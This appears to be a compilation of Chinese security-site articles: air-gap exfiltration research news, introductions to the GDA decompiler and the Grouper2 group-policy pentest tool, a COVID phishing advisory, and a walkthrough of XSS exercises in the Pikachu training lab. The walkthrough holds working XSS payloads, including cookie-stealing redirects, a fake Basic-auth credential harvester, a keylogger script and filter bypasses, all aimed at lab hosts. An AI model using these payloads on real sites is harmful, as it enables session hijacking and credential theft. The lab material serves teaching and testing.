这种新型的攻击方法原理在于利用很少人会注意到的计算机组件辐射,例如光、声音、热、无线电频率或超声波,甚至利用电源线中的电流波动,来进行计算机入侵。例如,攻击者可能会破坏供应链来感染一台气隙系统计算机,因为他们不能总是依靠内部人员悄悄地将USB和数据从目标设备中带出。

这种不寻常的技术,理论上来说许多人是用不到的。但当涉及到高价值目标时,它们在受感染的气隙系统计算机中窃取敏感数据方面能够发挥重要作用。

依靠亮度如何进行气隙攻击?

以色列本·古里安大学的网络安全研究中心负责人Mordechai Guri 在他和同事的最新研究中,发现了一个新的秘密光通道,攻击者可以使用该光通道从气隙计算机上窃取数据,无需网络连接或物理联网设备。

研究人员说:“即使用户在计算机上工作,此秘密通道也是不可见但可用的。受感染计算机上的恶意软件可以获取敏感数据(例如文件、图像、加密密钥和密码),并在屏幕亮度范围内对其进行调制,对用户不可见。”

数据编码和解码背后的基本思想与之前的情况相似,即恶意软件将收集的信息编码为字节流,然后将其调制为“ 1”和“ 0”信号进行通信。

在这种情况下,攻击者使用LCD屏幕亮度的细微变化(肉眼仍看不到),以摩尔斯电码模式暗中调制成二进制信息。

“在LCD屏幕中,每个像素呈现出RGB颜色组合,从而产生所需的调制颜色,每个像素的RGB颜色分量会稍有变化。这些变化是不可见的,因为它们相对较小并且发生得很快,达到屏幕刷新率。此外,用户无法看见屏幕上图像的整体颜色变化。”

另一方面,攻击者可以使用本地监控摄像头、智能手机摄像头或网络摄像头拍摄但在受到感染的计算机播放的视频,来收集数据流,然后使用图像处理技术来重新生成被窃取的信息。

正如视频演示的那样,研究人员用专门的恶意软件感染了一台气隙计算机,该恶意软件根据二进制(“ 1”或“0”)调节位图的亮度,然后利用振幅键控调制数据。

14271719892566.jpg

气隙设备常用的数据渗透技术

对于本·古里安大学研究人员而言,这种秘密窃取气隙计算机数据的技术早已不陌生了。他们先前对入侵气隙设备的研究包括:

PowerHammer攻击可通过电源线从气隙计算机中窃取数据。

MOSQUITO技术通过超声波,可以将置于同一房间内的两台(或更多)气隙计算机进行秘密地数据交换。

BeatCoin技术可以使攻击者从气隙加密货币钱包中窃取私有加密密钥。

aIR-Jumper攻击借助装有夜视功能的红外CCTV摄像机,从气隙计算机中获取敏感信息。

MAGNETO和ODINI技术使用CPU产生的磁场作为气隙系统和附近智能手机之间的秘密通道。

USBee攻击可通过USB连接器的射频传输从气隙计算机上窃取数据。

DiskFiltration攻击可以利用目标气隙计算机的硬盘驱动器(HDD)发出的声音信号来窃取数据。

BitWhisper依靠两个计算机系统之间的热交换来窃取虹吸密码或安全密钥;

AirHopper将计算机的视频卡转换成FM发射器来控制按键。

Fansmitter技术利用计算机散热器发出的噪音获取数据。

GSMem攻击依赖于蜂窝频率。

*参考来源:Thehackernews,Sandra1432编译,转载请注明来自FreeBuf.COM

GDA(GJoy Dex Analysizer)

GDA是一款完全基于C++开发的新型反编译工具,因此该工具并不仅依赖于Java平台。该工具使用起来非常方便,而且运行速度非常快,支持APK、DEX、OBED和oat等文件格式。

实际上,GDA是一款新型的Dalvik字节码反编译工具。该工具是完全独立的,并且运行非常稳定,并且能够在没有安装Java VM的环境下运行。GDA的大小只有2MB,我们可以直接在任何新安装的Windows操作系统或虚拟机系统中使用该工具,无需进行额外配置。此外,GDA还有以下更加出色的功能:

功能介绍

交互式操作

1、字符串、类、方法和域的交叉引用;

2、搜索字符串、类方法和域;

3、Java代码注释;

4、方法、域、类的重命名;

5、将分析结果存储至GDA数据库文件中;

辅助分析实用程序

1、从ODEX中提取DEX;

2、从OAT中提取DEX;

3、XML解码器;

4、算法工具;

5、设备内存导出;

新功能

1、采用C++开发的全新Dalvik反编译工具;

2、有好的GUI界面;

3、支持Python脚本;

4、封装器识别;

5、多DEX支持;

6、反混淆支持;

7、扫描恶意API链;

8、等等……

工具安装

目前,广大用户可以将项目源码直接克隆至本地,然后鼠标双击bin文件即可开始使用。下载命令如下:

git clone https://github.com/charles2gan/GDA-android-reversing-Tool.git

算法工具

该工具支持下列算法:

1、散列算法:md2 md4 md5 sha sha1 sha224 sha256 sha384 sha512

2、对称加密:des idea rc2 rc4 rc4-40 rc2-40 rc2-64 bf cast5 aes(128192256),具有ecb cbc ofb cfb等模式,其他模式例如(cfb1 cfb8)

3、RSA编码算法:base62,base64

工具运行截图

文件加载和反编译

恶意软件扫描、API查询、x-ref…

Url、Xml、字符串x-ref…

变量追踪

项目地址

GDA:【GitHub传送门

* 参考来源:charles2gan,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

0.png

Grouper2是一款针对AD组策略安全的渗透测试工具,该工具采用C#开发,在Grouper2的帮助下,渗透测试人员可以轻松在活动目录组策略中查找到安全相关的错误配置。

当然了,你也可以使用Grouper2来做其他的事情,但严格意义上来说,Grouper2并非专业的审计工具。如果你想要检查自己的组策略配置安全性是否符合某种标准,那你可能还需要使用微软的安全合规性套件(Security Compliance Toolkit)。

简而言之,Grouper2可以将组策略中所有你感兴趣的数据全部导出给你,然后尝试去利用其中可能存在的安全问题。

Grouper2与Grouper对比

Grouper的特性如下:

1、要求用户在一台已加入域中的计算机上安装GPMC或RSAT等组件。

2、用户需要通过Get-GPOReport PowerShell命令行工具生成XML报告。

3、需要向Grouper提供报告。

4、会生成大量数据,用户需要从中过滤并筛选出有价值的内容。

Grouper2不需要依赖于Get-GPOReport,但是它仍然需要解析各种不同的文件格式。Grouper2的特性如下:

1、更准确的文件权限检测,不需要磁盘磁盘读写。

2、不会忽略GPP密码。

3、提供HTML输出选项。

4、多线程支持

5、支持离线运行。

工具下载

广大用户可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/l0ss/Grouper2.git

工具使用

该工具的使用也非常简单,用户只需要在一台已加入域的设备上,以域用户身份运行Grouper2的可执行程序即可,程序运行完成后默认会输出JSON格式的报告。如果生成的JSON报告格式有问题,用户还可以使用-g选项来优化输出结果。

当然了,如果你需要更加“格式化”的报告,你还可以使用-f “$FILEPATH.html”来生成HTML格式的报告。

如果生成报告中的数据量过大,你还可以设置一个“兴趣等级”,通过使用-i $INT选项即可设置等级,比如说-i 10。

如果你不想对旧策略进行分析,你还可以直接使用-c选项来跳过这些策略。

如果你想提升工具的运行速度,你还可以通过-t $INT选项来设置工具的运行线程数量,该参数默认值为10。

如果你还需要了解该工具的其他运行选项,可以使用-h参数。

工具使用样例

首先,我们一起看看下面这张工具运行截图:

1.png

在上图中,我们可以看到其中有一个名为“Assigned Application”的策略,这个策略已经应用到了域中的计算机,但是MSI文件却丢失了,而且安装目录的权限是当前用户可写入的。

如果你创建了一个恶意的MSI,比如说通过msfvenom创建,那么你就可以修改它让它匹配图片底部的UID,那么它就可以直接在目标设备上执行了。

2.png

在上图中我们可以看到,很明显某个用户对注册表中的ACLS做了一些什么…

当然了,广大研究人员可以根据自己的需要来使用Grouper2,但请不要将其使用于而已用途。

项目地址

Grouper2:【GitHub传送门】 

*参考来源:kitploit,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近期,工业和信息化部网络安全威胁信息共享平台收到网络安全企业及机构报告,发现多起利用新冠肺炎疫情实施网络攻击的行为。经研判分析,攻击者利用疫情对公众的心理影响,将计算机病毒、木马、移动恶意程序等伪装成包含“肺炎病例”“防护通知”等热门字样的信息,通过钓鱼邮件、恶意链接等方式传播,一旦点击下载,可能导致计算机、手机等终端设备被窃取信息或远程控制。

为降低网络安全风险,工业和信息化部网络安全管理局组织相关单位加大对伪装成疫情信息传播计算机病毒、木马、移动恶意程序等监测力度,采取了屏蔽病毒木马控制端、下载恶意程序等措施,对发现的网络威胁进行处置。同时,提醒公众提高网络安全风险意识,采取以下措施进行防范:

一、不轻易打开来历不明的电子邮件及其附件。

二、不轻易点击短信或微信中不明来源的链接。

三、从正规应用商店或官方网站下载安装应用程序。

四、安装杀毒软件并及时更新。

下一步,工业和信息化部网络安全管理局将继续组织加强涉疫情网络安全威胁监测与处置工作,欢迎向工业和信息化部网络安全威胁信息共享平台(网址http://www.cstis.cn,邮箱[email protected])报送涉疫情相关网络威胁信息线索,切实维护网络秩序和公共利益。

*本文来源:网络安全管理局,转载请注明来源

概述

跨站脚本攻击(Cross-Site Scripting)简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1、反射性XSS;

2、存储型XSS;

3、DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“对输出进行转义”的方式进行处理

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型XSS(Get)

输入时发现限制了输入字符长度,F12审查源码,修改maxlength即可

构造Payload

 </p><script>alert(1)</script>

反射型XSS(Post)

这里直接通过admin/123456登陆,当前也可以使用Burp爆破一下

文本框直接输入123,看看拼接格式

 <p class="notice">who is 123,i don't care!</p>

尝试闭合,构造Payload

 </p><script>alert(1)</script>

实验案例-获取Cookie

相比于GET方式,黑客通过POST方式窃取Cookie更加神不知鬼不觉,这里来复现一下

首先需要搭建一个收集Cookie的后台。这里Pikachu已经为我们准备好了,只需要在左侧管理工具栏进入XSS后台,点击初始化

修改IP地址。打开Pikachu/pkxss/xcookie/post.html文件,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,通过目录来区分漏洞网站和黑客后台。如果是在多台虚拟机中进行实验,即将第1处修改为漏洞网站IP,第2个处修改为黑客后台IP即可

 <html> <head> <script> window.onload = function() {   document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">     <input id="xssr_in" type="text" name="message" value=     "<script> document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;     </script>"      />     <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>

此时,另外打开一个浏览器来模拟用户。先访问[http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php](http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php),并使用另一个账号test/abc123登陆

在用户浏览器中访问黑客伪造的post.html站点:[http://127.0.0.1/pikachu/pkxss/xcookie/post.html](http://127.0.0.1/pikachu/pkxss/xcookie/post.html)

此时,黑客可以在XSS后台看到窃取到的Cookie。黑客浏览器访问后台:[http://127.0.0.1/pikachu/pkxss/xcookie/pkxss_cookie_result.php](http://127.0.0.1/pikachu/pkxss/xcookie/pkxss_cookie_result.php)

存储型XSS

Payload

 </p><script>alert(1)</script>

实验案例-钓鱼攻击

黑客可以在有存储型XSS漏洞的网站中嵌入一个恶意JS,当用户访问该站点时自动触发,而在黑客后台向用户返回一个要求Basic认证的头部,那么此时用户界面就会弹出一个身份认证的提示框。如果用户防范意识不高,在提示框中输入了网站的账号密码,那么该账号密码就会被发送到黑客后台。

Pikachu靶场同样准备好了钓鱼的文件,只需要修改IP地址即可。打开Pikachu/pkxss/xfish/fish.php文件,将IP地址修改为黑客后台地址,注意IP地址后面需要添加上/pikachu/目录,还有需要注意的是header(Location: …)此句,将换行删除,否则无法跳转。

 <?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //发送认证框,并给出迷惑性的info     header('Content-type:text/html;charset=utf-8');     header("WWW-Authenticate: Basic realm='认证'");     header('HTTP/1.0 401 Unauthorized');     echo 'Authorization Required.';     exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP     header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}"); }  ?>

然后在黑客浏览器中访问存储型XSS页面,插入恶意代码

 <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

打开另一个页面模拟普通用户,访问存储型XSS页面:[http://127.0.0.1/pikachu/vul/xss/xss_stored.php](http://127.0.0.1/pikachu/vul/xss/xss_stored.php)。此时页面会弹出一个Basic认证提示框,模拟用户输入账号密码,点击确定

这一步有个坑就是Basic认证后不跳转,而是一直在弹认证提示框。尝试过修改修改PHP版本、修改pkxss路径、使用2台虚拟机分别搭建漏洞网站和黑客后台环境等等方法都不行,无奈最终使用作弊的方法写入:将下面语句插入存储型XSS处,然后使用用户浏览器访问

 <script src="http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username=naraku&password=1234"></script>

上面这个坑后来找到了原因:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本,我这里使用的是phpStudy搭建的环境,默认是以CGI版本运行PHP。后续通过重新搭建环境解决此问题。

此时,黑客可以在XSS后台的钓鱼记录处看到用户输入的账号密码

实验案例-键盘记录

打开pikachu/pkxss/rkeypress/rk.js文件,将第54行语句并修改为黑客后台地址:

ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
# 修改为后台地址,如
ajax.open("POST", "http://127.0.0.1/pikachu/pkxss/rkeypress/rkserver.php",true);

浏览器进入存储型XSS漏洞:[http://127.0.0.1/pikachu/vul/xss/xss_stored.php](http://127.0.0.1/pikachu/vul/xss/xss_stored.php),插入恶意代码rk.js

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

另开一个浏览器模拟普通用户进入该漏洞页面,任意输入一些字符,无需点击提交

此时,黑客可以在后台看到用户所输入的字符

如果是在两台虚拟机中搭建靶场和黑客后台,则需要在rk.js中设置允许跨域,否则会被同源策略所限制

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

DOM型XSS

随便输入字符串111后点击按钮,可以看到页面显示一条超链接,审查源码,

<div id="dom">
  <a href="111">what do you see?</a>
</div>

还可以看到一段JS代码

<script>
function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<a href='111'>what do you see?</a>

由这段JS可知,用户输入的字符串会被存进str然后拼接,构造Payload:#’ onclick=alert(1)

<a href=' #' onclick=alert(1) '>what do you see?</a>

DOM型XSS-x

同上,输入111后点击按钮,发现URL发生变化

http://192.168.1.106/pikachu/vul/xss/xss_dom_x.php?text=111

点击超链接,URL再次变化

http://192.168.1.106/pikachu/vul/xss/xss_dom_x.php?text=111#

审查源码

<script>
function domxss(){
    var str = window.location.search;
    var txss = decodeURIComponent(str.split("text=")[1]);
    var xss = txss.replace(/\+/g,' ');
//  alert(xss);
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
<div id="dom">
    <a href="111">就让往事都随风,都随风吧</a>
</div>

这里的用户输入同样被拼接到a标签中,于是构造Payload:#’ onclick=alert(1)

<a href=' #' onclick=alert(1) '>就让往事都随风,都随风吧</a>

XSS之盲打

先任意输入看看拼接,emmm…….

这里既然说了盲打,也就是说只有后台才能看到输入的内容,从前端是无法判断是否存在XSS的。这里可以直接插入前面获取Cookie的恶意代码,直接盲打后台管理员的Cookie

<script>
  document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>

此时在页面中插入恶意代码,现在模拟管理员登陆一下后台,后台地址为[http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php](http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php),可以点击右侧提示看到。使用admin/123456登陆后,可以看到刚才插入的语句内容为空白。但管理员的Cookie已经在不知不觉中被黑客获取

可进入黑客后台查看

XSS之过滤

任意输入字符进行尝试,发现<script>标签被过滤

使用大小写混合即轻松绕过

<ScRipt>alert(1)</sCriPt>

XSS之htmlspecialchars

htmlspecialchars()是PHP提供的一个对特殊字符进行转义的函数,它可以把预定义的字符转换为HTML实体

&转换为&amp

“转换为&quot

‘转换为&#039

<转换为&lt

>转换为&gt

$value = htmlspecialchars($_GET['value'], ENT_COMPAT);
# 第2个参数规定了如何处理引号
ENT_COMPAT   # 默认,仅对双引号进行编码
ENT_QUOTES   # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号

在本题中,尝试输入字符111′”<>,F12审查源码,可以看到输入的字符被转换成如下代码,可以判断这里调用了htmlspecialchars()函数,并且可以看到单引号’没有被转换,因此这里第2个参数使用的是默认模式ENT_COMPAT,所以这里可以尝试使用单引号进行绕过

<a href="111" &quot;&lt;&gt;'="">111'"&lt;&gt;</a>

先使用单引号闭合a标签,然后再进行弹框。提交后需要点击超链接才会弹框

x' onclick='alert(1)'

XSS之href输出

i> 输出在a标签的href属性中,可以使用javascript协议来执行JS

Payload

javascript:alert(1)

防御:只允许http(s),其次再进行htmlspecialchars处理

XSS之JS输出

i> 输出被拼接到JS中,可以直接修改JS源码实现逃过

随便输入一个xxx,F12审查源码,可以看到,用户输入的字符被拼接到$ms变量中:

<script>
    $ms='xxx';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>

构造Payload:xxx’; alert(1); //,先把单引号闭合并弹框,然后将后面的单引号注释掉

<script>
    $ms='xxx'; alert(1); //';
    ...
</script>

当然也可以直接闭合掉</script>标签,构造Payload:xxx’</script><script>alert(1)//

<script>
    $ms=' xxx'</script><script>alert(1)// ';
    ...
</script>

总结

漏洞利用

GET方式:可以通过直接构造URL来诱导用户点击,一般需要会转换成短连接

POST方式:黑客通过伪造一个表单自动提交的页面,当用户访问页面时触发表单,页面JS自动POST表单数据到存在POST型XSS漏洞的网站,并将Cookie返回到黑客后台,黑客通过Cookie伪装成用户登录并造成危害。

跨域与同源策略

同源策略:限制了来自不同源的document或脚本,对当前document读取或设置某些属性。影响的因素有:协议、子域名、主机(域名/IP)、端口。任一因素不相同时,也称为不同域。

http://  www.   baidu.com  : 80  /  hacker.js
协议     子域名    主机        端口      资源地址

同源策略规定,不同域直接不能使用JS相互操作。即x.com中的JS不能操作y.com下的对象。如果想要跨域操作,需要管理员自行配置

header("Access-Control-Allow-Origin: x.com");

而下面的几个标签不受同源策略限制,可以跨域加载资源。但是浏览器限制了JavaScript的权限,使其不能读写返回的内容。

<img src="">     // 图片
<script src="">  // JS
<link href="">   // CSS
<iframe src="">  // 任意资源

绕过

转换

前端限制:直接抓包重放,或者修改前端代码

大小写

<SCripT>alERt(1)</scRiPt>

拼凑

<scri<script>pt>alert(1)</scr</script>ipt>

注释

<scr<!--test-->ipt>alert(1)</sc<!--test-->ript>

编码

使用编码的时候需要注意编码在输出点上是否会被正确识别并翻译

x> 错误示例

将alert(‘xss’)进行URL编码。不能执行,因为这些属性标签不会正常解析这些编码

<img src=x onerror="alert('xss')" />
<img src=x onerror="alert%28%27xss%27%29" />

√> 正确示例

将alert(‘xss’)进行字符实体/HTML编码,可以执行

<img src=x onerror="alert('xss')" />
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;" />

*本文作者:FengSec,转载请注明来自FreeBuf.COM